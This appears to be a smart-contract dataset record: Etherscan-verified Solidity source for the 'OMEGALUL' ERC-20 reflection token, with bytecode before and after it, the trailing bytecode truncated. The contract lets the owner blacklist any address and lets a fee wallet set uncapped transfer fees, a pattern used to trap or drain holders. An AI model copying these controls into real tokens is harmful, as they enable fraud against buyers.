80910390f35b34801561027957600080fd5b50610282610cc5565b60405161028f919061134c565b60405180910390f35b3480156102a457600080fd5b506102bf60048036038101906102ba9190611310565b610cee565b6040516102cc91906111f9565b60405180910390f35b3480156102e157600080fd5b506102fc60048036038101906102f791906112e3565b610d04565b60405161030991906111f9565b60405180910390f35b34801561031e57600080fd5b50610339600480360381019061033491906112e3565b610d29565b60405161034691906111f9565b60405180910390f35b610369600480360381019061036491906112e3565b610dd3565b005b34801561037757600080fd5b50610392600480360381019061038d91906112e3565b610f27565b005b600047905090565b60006103ab8383600a54610fc8565b905092915050565b6000610406600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461040184610d29565b61101b565b9050919050565b600560009054906101000a900460ff1661042657600080fd5b6000610431336103b3565b9050600061043e82610cee565b9050600061044b82611031565b90506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506104e2600a548461101b565b600a81905550600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610550573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff166108fc6105758484611050565b9081150290604051600060405180830381858888f193505050501580156105a0573d6000803e3d6000fd5b50505050565b6105ae611066565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461063b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610632906113c4565b60405180910390fd5b6000600a541461064a57600080fd5b6001600560006101000a81548160ff0219169083151502179055506419254d3800600a81905550565b600560009054906101000a900460ff1661068c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106c557600090505b600073ffffffffffffffffffffffffffffffffffffffff16600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156107eb57503373ffffffffffffffffffffffffffffffffffffffff16600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1561086f5780600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600061087a336103b3565b9050600061088a8260015461106e565b90506108d5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261101b565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a5360076000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4e84600861106e565b61101b565b60076000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0b600a54610b0684600561106e565b61101b565b600a81905550505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b67611066565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610beb906113c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610cbe824761039c565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610cfd82600a5447610fc8565b9050919050565b600080610d10836103b3565b90506000610d1d82610cee565b90508092505050919050565b600080610d80600154610d7b42600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611050565b611084565b9050610dcb81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109d565b915050919050565b600560009054906101000a900460ff16610dec57600080fd5b6000610e0134610dfc4734611050565b61039c565b9050610e1581610e1083611031565b611050565b90506000610e2234611031565b9050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610e8c573d6000803e3d6000fd5b50610ed6600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361101b565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f2283610673565b505050565b610f2f611066565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb3906113c4565b60405180910390fd5b610fc5816110b3565b50565b6000611012610fd96002548461109d565b61100d600354611008611002610ff16002548a61109d565b610ffd6003548c61109d565b61101b565b8961106e565b61101b565b61106e565b90509392505050565b600081836110299190611413565b905092915050565b60006110496110428360045461109d565b606461106e565b9050919050565b6000818361105e9190611469565b905092915050565b600033905090565b6000818361107c91906114cc565b905092915050565b60008183106110935781611095565b825b905092915050565b600081836110ab91906114fd565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111a906115c9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000819050919050565b6111f3816111e0565b82525050565b600060208201905061120e60008301846111ea565b92915050565b600080fd5b611222816111e0565b811461122d57600080fd5b50565b60008135905061123f81611219565b92915050565b6000806040838503121561125c5761125b611214565b5b600061126a85828601611230565b925050602061127b85828601611230565b9150509250929050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112b082611285565b9050919050565b6112c0816112a5565b81146112cb57600080fd5b50565b6000813590506112dd816112b7565b92915050565b6000602082840312156112f9576112f8611214565b5b6000611307848285016112ce565b91505092915050565b60006020828403121561132657611325611214565b5b600061133484828501611230565b91505092915050565b611346816112a5565b82525050565b6000602082019050611361600083018461133d565b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006113ae602083611367565b91506113b982611378565b602082019050919050565b600060208201905081810360008301526113dd816113a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061141e826111e0565b9150611429836111e0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561145e5761145d6113e4565b5b828201905092915050565b6000611474826111e0565b915061147f836111e0565b925082821015611492576114916113e4565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006114d7826111e0565b91506114e2836111e0565b9250826114f2576114f161149d565b5b828204905092915050565b6000611508826111e0565b9150611513836111e0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561154c5761154b6113e4565b5b828202905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006115b3602683611367565b91506115be82611557565b604082019050919050565b600060208201905081810360008301526115e2816115a6565b905091905056fea264697066735822122089409bc0b8519ed722ebe9e759af979ccc0c9bea94913414e3bc6aadc75f6cbc64736f6c63430008090033
|
{"success": true, "error": null, "results": {}}
| 4,471 |
0x34D08aA7F6747348062615b2AEb4802CDD838eCa
|
/**
*Submitted for verification at Etherscan.io on 2021-11-13
*/
// https://t.me/omegalultoken
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract OMEGALUL is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 3;
uint256 private _feeAddr2 = 3;
address payable private _feeAddrWallet1 = payable(0xA445F223AA39113cA7da9e5FC75BfD514c2C50B3);
address payable private _feeAddrWallet2 = payable(0xA445F223AA39113cA7da9e5FC75BfD514c2C50B3);
string private constant _name = "OMEGALUL";
string private constant _symbol = "OMEGALUL";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612b55565b60405180910390f35b34801561015b57600080fd5b506101766004803603810190610171919061267f565b610492565b6040516101839190612b3a565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612cd7565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d9919061262c565b6104c4565b6040516101eb9190612b3a565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612592565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612d4c565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612708565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612592565b6107ba565b6040516102bc9190612cd7565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe9190612762565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612a6c565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612b55565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d919061267f565b610a65565b60405161038f9190612b3a565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906126bf565b610a83565b005b3480156103cd57600080fd5b506103d6610bad565b005b3480156103e457600080fd5b506103ed610c27565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612762565b611189565b005b34801561042457600080fd5b5061043f600480360381019061043a91906125ec565b61122a565b60405161044c9190612cd7565b60405180910390f35b60606040518060400160405280600881526020017f4f4d4547414c554c000000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112b1565b84846112b9565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d1848484611484565b610592846104dd6112b1565b61058d8560405180606001604052806028815260200161342a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119629092919063ffffffff16565b6112b9565b600190509392505050565b6105a56112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c37565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c37565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112b1565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119c6565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac1565b9050919050565b6108136112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112b1565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612b97565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4f4d4547414c554c000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112b1565b8484611484565b6001905092915050565b610a8b6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c37565b60405180910390fd5b60005b8151811015610ba957600160066000848481518110610b3d57610b3c613094565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ba190612fed565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bee6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614610c0e57600080fd5b6000610c19306107ba565b9050610c2481611b2f565b50565b610c2f6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb390612c37565b60405180910390fd5b600f60149054906101000a900460ff1615610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0390612cb7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d9f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610de557600080fd5b505afa158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d91906125bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7f57600080fd5b505afa158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb791906125bf565b6040518363ffffffff1660e01b8152600401610ed4929190612a87565b602060405180830381600087803b158015610eee57600080fd5b505af1158015610f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2691906125bf565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610faf306107ba565b600080610fba6109ff565b426040518863ffffffff1660e01b8152600401610fdc96959493929190612ad9565b6060604051808303818588803b158015610ff557600080fd5b505af1158015611009573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061102e919061278f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611133929190612ab0565b602060405180830381600087803b15801561114d57600080fd5b505af1158015611161573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111859190612735565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111ca6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612b97565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132090612c97565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139090612bd7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114779190612cd7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114eb90612c77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155b90612b77565b60405180910390fd5b600081116115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e90612c57565b60405180910390fd5b6115af6109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffff